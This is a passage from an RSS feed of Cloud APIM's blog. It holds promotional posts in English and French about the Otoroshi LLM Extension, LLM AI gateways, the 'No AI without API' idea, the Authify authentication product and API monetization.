<li><p><strong>Smart Routing</strong>: Offload routine tasks to Mistral/Ollama, reserve GPT-4 for critical operations.</p>
</li>
<li><p><strong>Compliance &amp; Audit-Ready AI APIs</strong>: Build trustworthy AI features for regulated environments (finance, healthcare, etc.).</p>
</li>
</ul>
<hr />
<h2 id="heading-why-it-matters">Why It Matters</h2>
<p>In a world where <strong>AI and APIs</strong> are becoming inseparable, the <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/">Otoroshi LLM Extension</a> offers a <strong>secure, scalable, and efficient</strong> foundation for next-generation applications.</p>
<p>You can build intelligent microservices, craft interactive user experiences, and automate backend operations</p>
<p>🔗 Learn more: <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/overview">Otoroshi LLM Extension Documentation</a></p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for our products.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency.</p>
<p>Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<h3 id="heading-cloud-apim-products">Cloud APIM Products</h3>
<p><a target="_blank" href="https://www.cloud-apim.com/"><strong>Otoroshi Managed Instances</strong></a> <strong>:</strong> Fully managed <a target="_blank" href="https://maif.github.io/otoroshi/manual/about.html">Otoroshi</a> clusters, perfectly configured and optimized, ready in seconds</p>
<p><a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>Serverless</strong></a> enables scalable deployments without infrastructure management.</p>
<p><a target="_blank" href="https://www.cloud-apim.com/authify"><strong>Authify</strong></a> simplifies authentication with quick and secure integration.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[À la découverte de l'extension Otoroshi LLM by Cloud APIM]]></title><description><![CDATA[🔍 Qu’est-ce que l’extension Otoroshi LLM ?
L’extension Otoroshi LLM développée par Cloud APIM est un module innovant qui transforme la passerelle API open source Otoroshi en une puissante passerelle d’IA (AI Gateway).
Cette extension permet une inté...]]></description><link>https://blog.cloud-apim.com/a-la-decouverte-de-lextension-otoroshi-llm-by-cloud-apim</link><guid isPermaLink="true">https://blog.cloud-apim.com/a-la-decouverte-de-lextension-otoroshi-llm-by-cloud-apim</guid><category><![CDATA[otoroshi llm extension]]></category><category><![CDATA[otoroshi]]></category><category><![CDATA[llm]]></category><category><![CDATA[Cloud APIM]]></category><category><![CDATA[API Management]]></category><category><![CDATA[ai gateway]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Mon, 30 Jun 2025 07:50:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751018769763/2b432f28-1472-43b1-9f4d-d184ed3ce489.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-quest-ce-que-lextension-otoroshi-llm">🔍 <strong>Qu’est-ce que l’extension Otoroshi LLM ?</strong></h2>
<p>L’extension <a target="_blank" href="https://github.com/cloud-apim/otoroshi-llm-extension/"><strong>Otoroshi LLM</strong></a> développée par <strong>Cloud APIM</strong> est un module innovant qui transforme la passerelle API open source <strong>Otoroshi</strong> en une <strong>puissante passerelle d’IA (AI Gateway)</strong>.</p>
<p>Cette extension permet une intégration native avec les principaux fournisseurs de <strong>modèles de langage (LLM)</strong> tels que <strong>OpenAI</strong>, <strong>Mistral</strong>, <strong>Anthropic</strong>, <strong>Azure</strong>, <strong>Hugging Face</strong>, et bien d'autres <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/llm-gateway/providers">(voir la documentation)</a>.</p>
<p>Grâce à cette technologie, les entreprises peuvent intégrer des modèles conversationnels, des fonctionnalités génératives ou des services intelligents directement dans leur infrastructure API.</p>
<hr />
<h2 id="heading-fonctionnalites-cles-de-lextension-otoroshi-llm"><strong>Fonctionnalités clés de l’extension Otoroshi LLM</strong></h2>
<h3 id="heading-compatibilite-multi-fournisseurs-ia">Compatibilité multi-fournisseurs IA</h3>
<p>Basculez facilement entre plusieurs modèles comme <strong>GPT (OpenAI)</strong>, <strong>Claude</strong>, <strong>Mistral</strong>, vos propres modèles internes ou des modèles open source.</p>
<p>Réduisez la dépendance à un seul fournisseur (vendor lock-in) et améliorez la flexibilité de vos flux IA.</p>
<hr />
<h3 id="heading-ingenierie-de-prompt-avancee">Ingénierie de prompt avancée</h3>
<ul>
<li><p>Créez des <strong>prompts dynamiques avec des modèles</strong> personnalisés</p>
</li>
<li><p>Injectez du <strong>contexte en temps réel</strong></p>
</li>
<li><p>Appliquez des <strong>barrières de sécurité (guardrails)</strong> pour contrôler les entrées et sorties</p>
</li>
</ul>
<p>Idéal pour les cas d’usage où la <strong>conformité, la confidentialité des données et la fiabilité des réponses</strong> sont critiques.</p>
<hr />
<h3 id="heading-gouvernance-et-securite-de-lia">Gouvernance et sécurité de l’IA</h3>
<ul>
<li><p><strong>Quotas LLM par utilisateur ou par service</strong></p>
</li>
<li><p><strong>Contrôle d’accès basé sur les rôles (RBAC)</strong></p>
</li>
<li><p><strong>Modération des requêtes</strong> et <strong>audit complet</strong></p>
</li>
<li><p>Intégration native avec les <strong>règles Otoroshi</strong> pour une gouvernance fine au niveau API</p>
</li>
</ul>
<hr />
<h3 id="heading-optimisation-des-couts-et-des-performances">📊 Optimisation des coûts et des performances</h3>
<ul>
<li><p>Suivi du <strong>nombre de tokens</strong> et des <strong>coûts par requête</strong></p>
</li>
<li><p><strong>Cache sémantique</strong> pour éviter les appels redondants</p>
</li>
<li><p>Stratégies de <strong>retry</strong>, <strong>équilibrage de charge</strong>, et gestion des délais</p>
</li>
</ul>
<hr />
<h2 id="heading-deploiement-facile-avec-cloud-apim-et-clever-cloud">Déploiement facile avec Cloud APIM et Clever Cloud</h2>
<p>L’extension Otoroshi LLM est <strong>disponible dès maintenant</strong> sur la plateforme <a target="_blank" href="https://www.cloud-apim.com"><strong>Cloud APIM</strong></a> via les <a target="_blank" href="http://www.cloud-apim.com/fr/otoroshi-managed"><strong>instances managées Otoroshi</strong></a> ou sous forme de <a target="_blank" href="https://www.cloud-apim.com/fr/serverless"><strong>passerelle IA serverless</strong></a>.</p>
<p>Depuis <strong>décembre 2024</strong>, elle est également <strong>déployable en quelques minutes</strong> via <strong>Clever Cloud</strong>, grâce à l’add-on “<a target="_blank" href="https://www.clever-cloud.com/fr/blog/fonctionnalites/2024/12/17/otoroshi-with-llm-simplifiez-la-gestion-de-vos-api-et-services-ia-sur-clever-cloud/">Otoroshi LLM extension</a>”.</p>
<hr />
<h2 id="heading-cas-dusage-typiques">Cas d’usage typiques</h2>
<h3 id="heading-workflows-dapi-pilotes-par-lia">Workflows d’API pilotés par l’IA</h3>
<p>Centralisez les prompts, gérez les réponses, et optimisez l’usage des modèles LLM dans vos APIs.</p>
<h3 id="heading-chatbots-securises-et-agents-conversationnels">Chatbots sécurisés et agents conversationnels</h3>
<p>Déployez des agents audités, modérés et adaptés à des environnements professionnels.</p>
<h3 id="heading-routage-intelligent">Routage intelligent</h3>
<p>Confiez les tâches courantes à des modèles légers comme <strong>Mistral</strong> ou <strong>Ollama</strong>, et réservez <strong>GPT-4</strong> pour les opérations critiques.</p>
<h3 id="heading-apis-pretes-pour-laudit-et-la-conformite">APIs prêtes pour l’audit et la conformité</h3>
<p>Construisez des fonctionnalités IA conformes pour les secteurs réglementés : <strong>finance, santé, administration</strong>, etc.</p>
<hr />
<h2 id="heading-pourquoi-cest-important">Pourquoi c’est important</h2>
<p>À l’heure où l’intelligence artificielle et les APIs convergent, l’extension Otoroshi LLM offre une <strong>infrastructure fiable, sécurisée et évolutive</strong> pour les applications de nouvelle génération.</p>
<p>👉 Créez des microservices intelligents<br />👉 Proposez des expériences interactives<br />👉 Automatisez vos opérations backend avec transparence et contrôle</p>
<hr />
<p>🔗 <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/overview"><strong>Consultez la documentation officielle de l’extension Otoroshi LLM</strong></a></p>
<p>📬 <strong>Restez informé</strong><br />Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.</p>
<hr />
<h2 id="heading-a-propos-de-cloud-apim">🏢 À propos de Cloud APIM</h2>
<p><strong>Cloud APIM</strong> est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres <strong>managées, performantes et prêtes à l’emploi</strong>.</p>
<p>Nos produits innovants incluent :</p>
<ul>
<li><p><strong>Otoroshi Managed Instances</strong> : Instances Otoroshi gérées, configurées et prêtes en quelques secondes</p>
</li>
<li><p><strong>Serverless avec GitOps</strong> : Déploiements scalables sans gestion d'infrastructure</p>
</li>
<li><p><strong>Authify</strong> : Authentification rapide et sécurisée pour vos APIs</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[No AI without API : AI + API = ❤️]]></title><description><![CDATA[In the age of digital transformation, the phrase “No AI Without API” has become a crucial concept for understanding how artificial intelligence (AI) works seamlessly with modern software systems.
The symbiotic relationship between APIs (Application P...]]></description><link>https://blog.cloud-apim.com/no-ai-without-api</link><guid isPermaLink="true">https://blog.cloud-apim.com/no-ai-without-api</guid><category><![CDATA[AI]]></category><category><![CDATA[APIs]]></category><category><![CDATA[API Management]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[Cloud APIM]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Mon, 28 Oct 2024 08:50:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729524950810/2547024e-9fff-4cbe-9762-43712e48d412.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the age of digital transformation, the phrase <strong>“No AI Without API”</strong> has become a crucial concept for understanding how artificial intelligence (AI) works seamlessly with modern software systems.</p>
<p>The symbiotic relationship between <strong>APIs (Application Programming Interfaces)</strong> and AI is central to making AI technologies more accessible, scalable, and integrated into business operations.</p>
<p>This article explores why APIs are fundamental to AI, the benefits they provide, and real-world examples of their impact.</p>
<hr />
<h3 id="heading-what-is-an-api-and-why-is-it-important-for-ai">What is an API and Why is it Important for AI?</h3>
<p>An <strong>API (Application Programming Interface)</strong> is a set of rules and protocols that allows different software applications to communicate with each other.</p>
<p>Essentially, APIs enable one application to access data or functionality from another, making it easier to integrate different systems.</p>
<p>When it comes to AI, APIs act as the bridge that connects AI models and algorithms to real-world applications, providing a structured way to implement AI functionalities without reinventing the wheel.</p>
<p><strong>APIs play a pivotal role in AI integration</strong> because they simplify the deployment of AI-powered solutions by enabling developers to use pre-built AI capabilities.</p>
<p>This means companies don’t need extensive AI expertise to embed intelligent features like <strong>natural language processing (NLP), image recognition</strong>, or <strong>predictive analytics</strong> into their software.</p>
<hr />
<h3 id="heading-the-symbiotic-relationship-how-apis-enable-ai-adoption">The Symbiotic Relationship: How APIs Enable AI Adoption</h3>
<p>The connection between APIs and AI goes beyond just integration; they are interdependent in driving the growth of intelligent systems. Here’s how APIs are essential for adopting and scaling AI:</p>
<ol>
<li><p><strong>Access to Data: Fueling AI Development</strong></p>
<ul>
<li><p><strong>AI systems need data to learn and improve</strong>, and APIs make it easier to access data from various sources.</p>
<p>  By standardizing how data is shared across different platforms, APIs ensure that AI models can quickly process and analyze vast datasets to deliver accurate predictions and insights.</p>
</li>
</ul>
</li>
<li><p><strong>Seamless Integration of AI Services</strong></p>
<ul>
<li><p>APIs simplify the process of integrating AI functionalities into existing applications.</p>
<p>  Businesses can leverage APIs from <strong>AI service providers like OpenAI</strong> to add intelligent features such as chatbots, image classification, or language translation to their products.</p>
<p>  This <strong>plug-and-play approach</strong> reduces development time and costs.</p>
</li>
</ul>
</li>
<li><p><strong>Scalability and Flexibility</strong></p>
<ul>
<li><p>APIs offer a flexible way to scale AI capabilities as business needs evolve. Organizations can start with basic AI functionalities and, over time, add more sophisticated features by incorporating additional APIs or switching to different AI service providers.</p>
<p>  This modular approach allows for easier <strong>expansion and customization</strong> of AI solutions.</p>
</li>
</ul>
</li>
<li><p><strong>Enhanced Interoperability Across Systems</strong></p>
<ul>
<li><p>In a world where businesses use a variety of software tools, APIs enable different systems to work together seamlessly.</p>
<p>  For example, an AI-powered <strong>customer relationship management (CRM)</strong> system can use APIs to pull data from an <strong>ERP (Enterprise Resource Planning)</strong> system for more personalized customer insights, improving overall decision-making processes.</p>
</li>
</ul>
</li>
</ol>
<hr />
<h3 id="heading-real-world-applications-apis-driving-ai-across-industries">Real-World Applications: APIs Driving AI Across Industries</h3>
<p>The importance of APIs in AI becomes clear when looking at how different industries use these technologies to transform their operations:</p>
<ul>
<li><p><strong>Healthcare</strong>: AI-powered APIs are used to integrate <strong>predictive analytics and diagnostic tools</strong> into electronic health records (EHR) systems, helping healthcare providers improve patient outcomes through data-driven insights.</p>
</li>
<li><p><strong>Finance</strong>: Financial institutions utilize APIs to embed AI in fraud detection, risk assessment, and customer service automation. This improves the efficiency and security of banking operations.</p>
</li>
<li><p><strong>E-Commerce</strong>: Online retailers use AI APIs to enhance <strong>product recommendations, inventory management</strong>, and <strong>personalized marketing</strong>, creating a more engaging and efficient shopping experience for customers.</p>
</li>
</ul>
<hr />
<h3 id="heading-why-no-ai-without-api-is-the-new-normal">Why No AI Without API is the New Normal</h3>
<p>The phrase <strong>“No AI Without API”</strong> underscores a new reality in the tech world: AI’s true potential can only be realized through <strong>effective API management and integration</strong>.</p>
<p>Here are some reasons why this is now the norm:</p>
<ol>
<li><p><strong>Faster Time-to-Market</strong></p>
<ul>
<li>By leveraging pre-built AI capabilities via APIs, companies can launch AI-powered features more quickly, gaining a competitive advantage. This significantly reduces development time compared to building AI models from scratch.</li>
</ul>
</li>
<li><p><strong>Cost Efficiency</strong></p>
<ul>
<li>APIs lower the barrier to entry for implementing AI, making it more accessible to small and medium-sized businesses. Instead of investing heavily in data science teams, companies can use APIs to bring AI-driven functionalities to their applications at a fraction of the cost.</li>
</ul>
</li>
<li><p><strong>Standardization and Consistency</strong></p>
<ul>
<li>APIs promote a standardized approach to integrating AI across different platforms and services, ensuring consistency in performance and results. This reduces the complexity involved in managing disparate AI tools and technologies.</li>
</ul>
</li>
</ol>
<hr />
<h3 id="heading-the-future-of-ai-and-apis-trends-and-opportunities">The Future of AI and APIs: Trends and Opportunities</h3>
<p>Looking ahead, the relationship between <strong>AI and APIs</strong> will continue to evolve, with trends such as:</p>
<ul>
<li><p><strong>Automated API generation</strong>: Tools that automatically generate APIs for AI models will streamline integration processes even further, allowing for <strong>rapid deployment of AI capabilities</strong>.</p>
</li>
<li><p><strong>API marketplaces for AI services</strong>: These platforms will offer curated AI functionalities accessible through standardized APIs, enabling companies to find and implement AI solutions more easily.</p>
</li>
<li><p><strong>Enhanced security measures</strong>: As AI-powered APIs become more widespread, there will be a greater focus on implementing security protocols to protect data and ensure compliance with regulatory standards.</p>
</li>
</ul>
<hr />
<h3 id="heading-conclusion">Conclusion</h3>
<p>The concept of <strong>“No AI Without API”</strong> reflects the essential role APIs play in the development and deployment of AI solutions.</p>
<p>They enable seamless data access, simplify the integration of AI services, and allow businesses to scale their AI capabilities efficiently.</p>
<p>As AI continues to shape the future of technology, the synergy between <strong>APIs and AI</strong> will be critical in driving innovation across industries.</p>
<p>Embracing this relationship ensures that companies can stay ahead in the competitive landscape by <strong>unlocking the full potential of AI</strong> through <strong>effective API management</strong>.</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Authify</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency.</p>
<p>Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<h3 id="heading-cloud-apim-products">Cloud APIM Products</h3>
<p><a target="_blank" href="https://www.cloud-apim.com/"><strong>Otoroshi Managed Instances</strong></a> <strong>:</strong> Fully managed <a target="_blank" href="https://maif.github.io/otoroshi/manual/about.html">Otoroshi</a> clusters, perfectly configured and optimized, ready in seconds</p>
<p><a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>Serverless</strong></a> enables scalable deployments without infrastructure management.</p>
<p><a target="_blank" href="https://www.cloud-apim.com/wasmo"><strong>Wasmo</strong></a> brings lightweight <a target="_blank" href="https://webassembly.org/">WebAssembly</a> execution.</p>
<p><a target="_blank" href="https://www.cloud-apim.com/authify"><strong>Authify</strong></a> simplifies authentication with quick and secure integration.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[What are LLM AI Gateways ? Simplifying AI Integration for Modern API Management]]></title><description><![CDATA[Introduction
AI have become omnipresent in our world, and allow us to drastically increase the capabilities of the tools we use on a daily basis.
Integrating AI into our software solutions has become essential.
Large Language Models (LLMs), such as G...]]></description><link>https://blog.cloud-apim.com/what-are-llm-ai-gateways</link><guid isPermaLink="true">https://blog.cloud-apim.com/what-are-llm-ai-gateways</guid><category><![CDATA[llm]]></category><category><![CDATA[ai gateway]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[API Management]]></category><category><![CDATA[Cloud APIM]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Wed, 23 Oct 2024 09:00:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729497266113/4f63387b-771b-4cbd-ab9d-27f98bba6fee.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction"><strong>Introduction</strong></h2>
<p>AI have become omnipresent in our world, and allow us to drastically increase the capabilities of the tools we use on a daily basis.</p>
<p>Integrating AI into our software solutions has become essential.</p>
<p>Large Language Models (LLMs), such as GPT, have made impressive strides in enhancing natural language processing, enabling advanced AI-driven functionalities in various applications.</p>
<p>But how do these powerful tools connect to existing systems efficiently ?</p>
<p>That’s where <strong>LLM Gateways</strong> come in. We will see through this article the usefulness of integrating them with an API gateway, secure and personalized according to your needs and those of your projects.</p>
<hr />
<h2 id="heading-what-are-llm-gateways">🔍 <strong>What are LLM Gateways?</strong></h2>
<p>LLM Gateways are specialized solutions that facilitate the integration of Large Language Models into existing applications and infrastructure.</p>
<p>They act as intermediaries, making it easy to incorporate AI functionalities by providing secure and scalable connectivity to LLMs without the need for complex configurations.</p>
<hr />
<h2 id="heading-how-llm-gateways-work">🌐 <strong>How LLM Gateways Work</strong></h2>
<p>LLM Gateways streamline the communication between AI models and applications by offering the following features:</p>
<ol>
<li><p><strong>Unified Interface</strong>: A common API that supports various LLMs, making it simpler for developers to switch between models and manage different AI services.</p>
</li>
<li><p><strong>Efficient Routing</strong>: Seamlessly route requests to different AI models based on use case, workload, or user requirements.</p>
</li>
<li><p><strong>Security Controls</strong>: Incorporate advanced security measures to manage data flow, ensuring that sensitive information is protected when communicating with AI services.</p>
</li>
<li><p><strong>Scalability</strong>: Enable high-performance scaling to accommodate fluctuating workloads and ensure smooth user experiences.</p>
</li>
</ol>
<hr />
<h2 id="heading-benefits-of-using-llm-gateways">💡 <strong>Benefits of Using LLM Gateways</strong></h2>
<p>Integrating LLM Gateways offers numerous advantages:</p>
<ul>
<li><p><strong>Faster Time-to-Market</strong>: Quickly deploy AI-driven functionalities with minimal setup, accelerating development timelines.</p>
</li>
<li><p><strong>Improved Developer Productivity</strong>: Focus on creating innovative features rather than managing complex AI integration processes.</p>
</li>
<li><p><strong>Cost Efficiency</strong>: Optimize the use of AI resources by routing workloads to the most suitable models, helping control costs.</p>
</li>
<li><p><strong>Enhanced Flexibility</strong>: Easily switch between AI models or add new ones, adapting to changing requirements without disrupting operations.</p>
</li>
</ul>
<hr />
<h2 id="heading-popular-use-cases-for-llm-gateways">📊 <strong>Popular Use Cases for LLM Gateways</strong></h2>
<p>LLM Gateways open up a range of possibilities across different industries:</p>
<ul>
<li><p><strong>Customer Support Automation</strong>: Enhance chatbot capabilities by integrating LLMs for more accurate and context-aware responses.</p>
</li>
<li><p><strong>Content Generation</strong>: Automate the creation of marketing materials, social media posts, or technical documentation using AI-driven language models.</p>
</li>
<li><p><strong>Sentiment Analysis</strong>: Leverage LLMs for analyzing user feedback, social media data, or customer reviews to gauge public sentiment and inform business strategies.</p>
</li>
<li><p><strong>Personalized Recommendations</strong>: Provide tailored product or content suggestions based on natural language inputs from users.</p>
</li>
</ul>
<hr />
<h2 id="heading-llm-gateways-are-available-on-cloud-apim">🎉 <strong>LLM Gateways are available on Cloud APIM</strong></h2>
<p>Looking to incorporate LLM Gateways into your projects ?</p>
<p>Cloud APIM offers a comprehensive solution for integrating LLM capabilities, enabling seamless AI-driven enhancements across applications.</p>
<p>With Cloud APIM, you can quickly connect to multiple LLM providers through a unified interface, ensuring your AI integrations are as flexible and scalable as your business demands.</p>
<p>Our <a target="_blank" href="https://www.cloud-apim.com/serverless">Serverless</a> offer and our <a target="_blank" href="https://www.cloud-apim.com/otoroshi-managed">Otoroshi managed instances</a> directly allow you to create your own LLM gateways without hassle and without any technical skills.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>LLM Gateways are shaping the future of AI integration, offering a streamlined approach to unlocking the full potential of language models. Whether for enhancing customer experiences, automating content creation, or driving insights from data, these gateways provide the tools needed to accelerate digital transformation. Start exploring LLM Gateways with Cloud APIM and take your AI capabilities to the next level.</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Authify</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency.</p>
<p>Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<h3 id="heading-cloud-apim-products">Cloud APIM Products</h3>
<p><a target="_blank" href="https://www.cloud-apim.com/"><strong>Otoroshi Managed Instances</strong></a> <strong>:</strong> Fully managed <a target="_blank" href="https://maif.github.io/otoroshi/manual/about.html">Otoroshi</a> clusters, perfectly configured and optimized, ready in seconds</p>
<p><a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>Serverless</strong></a> enables scalable deployments without infrastructure management.</p>
<p><a target="_blank" href="https://www.cloud-apim.com/wasmo"><strong>Wasmo</strong></a> brings lightweight <a target="_blank" href="https://webassembly.org/">WebAssembly</a> execution.</p>
<p><a target="_blank" href="https://www.cloud-apim.com/authify"><strong>Authify</strong></a> simplifies authentication with quick and secure integration.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[🚀 Introducing Cloud APIM Authify - Instantly Integrate a Complete Authentication Solution with Zero Hassle]]></title><description><![CDATA[Managing authentication for your websites and apps can be time-consuming and complex.
That’s where Cloud APIM Authify comes in 🤩
Authify is an all-in-one, easy-to-use authentication solution that enables you to securely manage user access to your ap...]]></description><link>https://blog.cloud-apim.com/introducing-authify</link><guid isPermaLink="true">https://blog.cloud-apim.com/introducing-authify</guid><category><![CDATA[authify]]></category><category><![CDATA[Cloud APIM]]></category><category><![CDATA[authentication]]></category><category><![CDATA[OpenID Connect]]></category><category><![CDATA[OIDC]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Thu, 17 Oct 2024 08:09:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1727699319459/45bb45aa-9ecf-4588-95c7-a5bee21d1128.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Managing authentication for your websites and apps can be time-consuming and complex.</p>
<p>That’s where <strong>Cloud APIM Authify</strong> comes in 🤩</p>
<p><strong>Authify</strong> is an all-in-one, easy-to-use authentication solution that enables you to securely manage user access to your applications without spending hours or days on configuration.</p>
<p>Whether you're working with web applications, mobile apps, or cloud-based services, Authify streamlines the process of setting up secure user authentication.</p>
<p>Our innovative tool allows you to quickly integrate secure authentication into your projects without the hassle.</p>
<h3 id="heading-what-is-cloud-apim-authify"><strong>🤔 What is Cloud APIM Authify ?</strong></h3>
<p><strong>Cloud APIM Authify</strong> is a simple yet powerful authentication solution that supports industry standards like <strong>OAuth 2.0</strong> and <strong>OpenID Connect</strong>.</p>
<p>With just a few clicks, you can secure your applications and manage user access with ease.</p>
<h3 id="heading-key-features"><strong>🔑 Key Features</strong></h3>
<ul>
<li><p><strong>Instant Setup</strong>: Add authentication in minutes, not days! ⏱️</p>
</li>
<li><p><strong>Scalable Security</strong>: Perfect for both small apps and enterprise-level projects. 🔐</p>
</li>
<li><p><strong>Role-Based Access Control</strong>: Easily manage user roles and permissions. 🎯</p>
</li>
</ul>
<h3 id="heading-why-choosing-authify"><strong>👀 Why Choosing Authify ?</strong></h3>
<ol>
<li><p><strong>Fast, Easy Integration</strong> – Get started with no hassle.</p>
</li>
<li><p><strong>User-Friendly Dashboard</strong> – Control your authentication settings effortlessly.</p>
</li>
<li><p><strong>Secure and Scalable</strong> – Protect your users without compromising performance.</p>
</li>
</ol>
<h3 id="heading-try-authify-beta-now"><strong>🚀 Try Authify Beta Now</strong></h3>
<p>Experience the future of authentication with <strong>Authify Beta</strong>.</p>
<p>Set up secure access in seconds and streamline your app development.</p>
<p>👉 <a target="_blank" href="https://cloud-apim.com/authify"><strong>Join the beta</strong></a> today and simplify authentication for all your projects !</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Authify</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<h3 id="heading-cloud-apim-products">Cloud APIM Products</h3>
<p><a target="_blank" href="https://www.cloud-apim.com/"><strong>Otoroshi Managed Instances</strong></a> <strong>:</strong> Fully managed <a target="_blank" href="https://maif.github.io/otoroshi/manual/about.html">Otoroshi</a> clusters, perfectly configured and optimized, ready in seconds</p>
<p><a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>Serverless</strong></a> enables scalable deployments without infrastructure management.</p>
<p><a target="_blank" href="https://www.cloud-apim.com/wasmo"><strong>Wasmo</strong></a> brings lightweight <a target="_blank" href="https://webassembly.org/">WebAssembly</a> execution.</p>
<p><a target="_blank" href="https://www.cloud-apim.com/authify"><strong>Authify</strong></a> simplifies authentication with quick and secure integration.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[💸 Unlocking Revenue : Efficiently Monetize Your API with Cloud APIM Serverless]]></title><description><![CDATA[APIs are not just tools for integration but also valuable products that can generate significant revenue.
Cloud APIM Serverless helps you to monetize your APIs, allowing you to focus on innovation while maximizing profitability.
In this blog post, we...]]></description><link>https://blog.cloud-apim.com/unlocking-revenue-efficiently-monetize-your-api-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/unlocking-revenue-efficiently-monetize-your-api-with-cloud-apim-serverless</guid><category><![CDATA[API Management]]></category><category><![CDATA[Cloud APIM]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[Monetization]]></category><category><![CDATA[otoroshi]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Thu, 12 Sep 2024 13:23:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726147364907/35a42050-3f5a-4e03-9e59-56a399f7b9ce.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>APIs are not just tools for integration but also valuable products that can generate significant revenue.</p>
<p><strong>Cloud APIM Serverless</strong> helps you to monetize your APIs, allowing you to focus on innovation while maximizing profitability.</p>
